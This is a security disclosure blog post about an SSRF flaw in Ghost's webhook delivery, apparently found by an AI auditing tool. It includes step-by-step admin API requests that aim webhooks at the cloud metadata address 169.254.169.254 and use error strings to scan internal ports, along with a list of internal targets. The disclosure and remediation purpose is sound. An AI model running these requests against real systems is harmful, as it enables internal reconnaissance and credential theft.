Ghost Had the SSRF Fix Written. It Just Wasn’t Plugged In.
Ghost’s codebase contained a hardened, DNS-rebinding-resistant HTTP library with comprehensive SSRF protections. It was used for oEmbed fetches, webmentions, recommendation metadata, and external media inlining. It was not used for webhook delivery, the one place where an admin directly controls the target URL.
| CVE | CVE-2026-53945 |
| CVSS | 5.5 (Medium), CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N |
| GHSA | GHSA-ch52-px8q-f22j ↗ |
| Type | Server-Side Request Forgery (CWE-918) |
| Auth | Admin session or Integration API key |
| Fixed | Confirmed not present in Ghost 6.30.0 |
| Found by | Kira, Offgrid Security |
Kira was pointed at the Ghost repository. No guidance on where to look, no particular feature to target. It read the codebase, traced outbound HTTP calls, noticed that Ghost maintained two HTTP request libraries with very different security postures, and observed that the more dangerous one was used in exactly the place it shouldn’t be. This finding was confirmed via source code review of Ghost’s main branch.
The finding wasn’t subtle. The safe library was sitting right there. The insecure one was a single require statement away from being replaced. But without someone tracing the full data flow from webhook creation through delivery and comparing it against the security library’s usage elsewhere in the codebase, the gap was invisible. That comparison is exactly the kind of cross-file reasoning that doesn’t happen in a code review under time pressure.
Two Libraries, One Unprotected Path
Ghost maintains two HTTP request wrappers. The first is @tryghost/request, a plain got wrapper with no URL validation whatsoever. The second is request-external.js, a hardened wrapper built specifically for making outbound HTTP calls to attacker-influenced URLs.
request-external.js is comprehensive. It blocks all RFC-1918 and link-local address ranges, handles octal and hex IP notation, IPv4-mapped IPv6 addresses, and DNS rebinding via a custom DNS lookup hook that resolves hostnames before connecting and re-validates the resolved IP against the same private range list. The Ghost team built this carefully and used it in four places: oEmbed fetches, webmention processing, recommendation metadata retrieval, and external media inlining.
Webhook delivery uses @tryghost/request. The unprotected one.
// webhook-trigger.js:19 -- uses unprotected library
this.request = request ?? require('@tryghost/request');
// webhook-trigger.js:112 -- URL taken directly from the database record
const url = webhook.get('target_url');
// webhook-trigger.js:139 -- fires against any URL, including private ranges
await this.request(url, opts)
No URL validation at creation time either. The webhook creation endpoint in webhooks.js accepts target_url as a free-form string. The data schema enforces only maxlength: 2000. No scheme restriction, no format check, no private IP block.
require('@tryghost/request') for require('../../lib/request-external') in webhook-trigger.js line 19. Every SSRF protection Ghost already wrote immediately applies to webhook delivery.The Attack
Precondition: a valid Ghost Admin session or Integration API key with webhook permissions. This is a privilege-required vulnerability: it requires an admin-level account. That’s why the CVSS is 5.5 rather than critical. But “admin-required” covers a wider population than it sounds: Ghost integrations can be created by any admin, and many Ghost deployments have multiple admins or third-party integrations with API keys.
Step 1: Create an integration to get an integration_id.
POST /ghost/api/admin/integrations/
{"integrations": [{"name": "probe"}]}
-- HTTP 201, returns integration_id
Step 2: Register a webhook pointing at an internal address.
POST /ghost/api/admin/webhooks/
{
"webhooks": [{
"name": "ssrf-probe",
"event": "post.published",
"target_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"integration_id": "<integration_id>"
}]
}
-- HTTP 201, webhook created
Step 3: Trigger delivery by publishing any post.
POST /ghost/api/admin/posts/
{"posts": [{"title": "Trigger", "status": "published"}]}
Ghost’s webhook service calls this.request(url, opts) where url is the AWS instance metadata endpoint. The request originates from the Ghost server’s network.
Step 4: Read the observable signal. There is no standalone GET webhook endpoint; webhooks are nested under their integration.
GET /ghost/api/admin/integrations/<integration_id>/?include=webhooks
-- returns:
{
"webhooks": [{
"last_triggered_status": null,
"last_triggered_error": "Request failed: ETIMEDOUT"
}]
}
That error code is the oracle. Ghost stores the Node.js error string in last_triggered_error and the HTTP status code in last_triggered_status. The combination is enough to determine port state with precision:
| Observed value | Interpretation |
|---|---|
last_triggered_error: "Request failed: ETIMEDOUT" | Port filtered, no response within 2s |
last_triggered_error: "Request failed: ECONNREFUSED" | Port closed, TCP RST received |
last_triggered_status: 200 | Port open, HTTP service responded |
last_triggered_status: 405 | Port open, service rejected the method |
This Is Blind SSRF. Blind Enough to Be Useful.
The response body is never returned. That matters: you cannot directly read the contents of 169.254.169.254/latest/meta-data/iam/security-credentials/. What you get is the status code and the error string. On their own, those are still enough for several meaningful attacks.
Precise internal port scanning
Create webhooks targeting different host:port combinations, publish a post, and read the error codes. Each webhook register-and-trigger cycle maps one port. The three-state oracle (ECONNREFUSED / ETIMEDOUT / HTTP status) is sufficient to build a complete internal service map of the Ghost server’s network: databases, admin panels, internal APIs, monitoring endpoints.
Retry amplification
Ghost retries failed webhook deliveries up to five times (retry: { limit: 5 }). A single webhook registration and trigger event produces up to six outbound requests per target. For scanning purposes this is noise; in a context where you want to amplify traffic against an internal service, it matters.
Cloud metadata probing
A last_triggered_status: 200 from 169.254.169.254 confirms that IMDSv1 (unauthenticated instance metadata) is reachable from the Ghost server. That alone tells an attacker whether the deployment is running in a cloud environment with an exploitable metadata service, without any network access to the host. Combined with any secondary information disclosure, or with IMDSv1 being enabled, this is a path to IAM credential extraction.
Internal targets reachable via this vector include: AWS EC2 instance metadata (169.254.169.254), GCP metadata service (metadata.google.internal), Azure IMDS (169.254.169.254/metadata/instance), Docker host gateway (172.17.0.1), local databases on their default ports, the Kubernetes API server, and internal metrics endpoints like localhost:9090/metrics.
Why the Safe Library Existed but Wasn’t Used Here
This is the part worth understanding carefully, because the Ghost team clearly thought about SSRF. They wrote request-external.js. They applied it consistently to every other outbound HTTP call that touches user-influenced URLs. The omission in webhooks isn’t negligence. It’s the classic gap between security controls applied at the time a feature was written and security controls applied to older features when the hardened library was introduced later.
oEmbed fetches, webmentions, recommendations, external media: these are all places where user-influenced URLs reach outbound HTTP calls, and all are protected. Webhooks carry the same risk profile and were not. Whether the library was introduced after webhook delivery was already shipping, or whether webhooks were simply missed when protections were applied, the source code tells the same story either way: the safe path existed and wasn’t taken here.
This is a pattern that shows up in nearly every mature codebase. Security infrastructure gets built in response to specific threats, gets applied to the features in scope at the time, and then leaves a residue of older features that predate the control. Finding that residue requires explicitly auditing every outbound HTTP call against the list of protected callers. That is not a review a human routinely performs. It’s a cross-file, cross-feature comparison that’s easy to script in theory and easy to miss in practice.
Kira found it by reading both sides: the places where request-external.js was used, and the places where outbound HTTP calls happened without it. The delta was one callsite. That callsite was webhooks.
CVSS Breakdown
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | Webhook API accessible remotely |
| Attack Complexity | Low | Create webhook, publish post, read error |
| Privileges Required | High | Admin session or Integration API key required |
| User Interaction | None | Fully attacker-driven once authenticated |
| Scope | Changed | Reaches internal network from Ghost server’s perspective |
| Confidentiality | Low | Port state and error codes observable; response body is not |
| Integrity | Low | HTTP POST reachable against internal services |
| Availability | None | No denial of service impact |
The CVSS is 5.5 Medium. The privileges-required:High metric is doing significant work there. If an attacker has admin access to your Ghost instance, they already have significant power. The SSRF extends that power to the internal network, which is why Scope is Changed: the vulnerability crosses a trust boundary beyond the Ghost application itself.
Recommendations
The vulnerability is confirmed not present in Ghost 6.30.0. If you operate a self-hosted Ghost instance, update to 6.30.0 or later.
Beyond patching:
- Audit webhook target URLs in your deployment. If you run Ghost in an environment with reachable cloud metadata services or internal network segments, review your registered webhooks for unexpected target URLs before upgrading.
- Restrict Integration API key issuance. The attack requires admin-level credentials. Limiting who can create integrations reduces the population of potential attackers to actual trusted administrators.
- Enable IMDSv2 on cloud instances. IMDSv2 requires a PUT request with a specific header before returning credentials, which defeats blind SSRF probing against AWS metadata. This is a worthwhile hardening step regardless of Ghost.
- Apply the same SSRF library audit to your own codebase. If you maintain a service that makes outbound HTTP calls to user-influenced URLs, audit every callsite and verify each one uses your hardened library. The gap is almost always in the older feature, not the newer one.
A note to the Ghost team: thank you for the clean response and the clear advisory. Taking a responsible disclosure report seriously, shipping a fix quickly, and publishing the root cause transparently is exactly how this process is supposed to work.
References
- Full advisory: GHSA-ch52-px8q-f22j ↗
- CVE-2026-53945
- CWE-918: Server-Side Request Forgery
- OWASP API Security 2023, API7:2023 Server Side Request Forgery
See what Kira finds in your stack.
Kira runs autonomously on your codebase and delivers verified, exploitable findings with proof. Not alerts. Not maybes.